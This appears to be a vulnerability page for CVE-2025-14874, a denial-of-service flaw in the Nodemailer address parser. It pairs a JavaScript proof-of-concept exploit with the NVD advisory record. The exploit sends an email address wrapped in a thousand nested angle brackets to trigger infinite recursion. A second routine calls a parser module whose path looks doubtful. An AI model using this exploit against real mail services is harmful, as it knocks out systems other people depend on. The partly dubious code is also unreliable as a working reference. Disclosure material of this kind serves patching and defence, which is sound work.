CVE-2025-14874

// CVE-2025-14874 PoC - Infinite Recursion in Nodemailer Address Parser // This PoC demonstrates how a crafted email address can trigger infinite recursion const nodemailer = require('nodemailer'); // Crafted email address that triggers infinite recursion in address parser // The address contains deeply nested structures that the parser cannot handle const maliciousFromAddress = '<'.repeat(1000) + '[email protected]' + '>'.repeat(1000); async function triggerVulnerability() { try { const transporter = nodemailer.createTransport({ host: 'smtp.vulnerable-server.com', port: 25, secure: false }); // Attempt to send email with malicious address // This will cause the address parser to enter infinite recursion await transporter.sendMail({ from: maliciousFromAddress, to: '[email protected]', subject: 'Test Email', text: 'This email contains a crafted address that triggers DoS' }); } catch (error) { console.error('Error occurred:', error.message); } } // Alternative: Direct parser test function testParserDirectly() { const mailParser = require('nodemailer/lib/mail-parser'); // Test with malformed address headers const maliciousHeaders = { from: '<'.repeat(500) + '[email protected]' + '>'.repeat(500), to: '[email protected]' }; // This call may trigger infinite recursion in the parser try { mailParser.parseAddresses(maliciousHeaders.from); } catch (e) { console.log('Parser crashed or timed out'); } } triggerVulnerability();

{"cve": {"id": "CVE-2025-14874", "sourceIdentifier": "[email protected]", "published": "2025-12-18T09:15:44.870", "lastModified": "2026-01-08T03:15:43.190", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-703"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nodemailer:nodemailer:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "7.0.11", "matchCriteriaId": "3ABBB33C-621B-4520-99B8-1C687484F816"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:advanced_cluster_management_for_kubernetes:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "4B0E6B4B-BAA6-474E-A18C-72C9719CEC1F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:ceph_storage:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "52AE9D9D-5D74-4AB8-8FF9-5CEA2A1A97B8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:developer_hub:-:*:*:*:*:*:*:*", "matchCriteriaId": "C64C29AF-F32F-4AC1-BC84-276B4024D0C5"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-14874", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418133", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/nodemailer/nodemailer", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418133", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}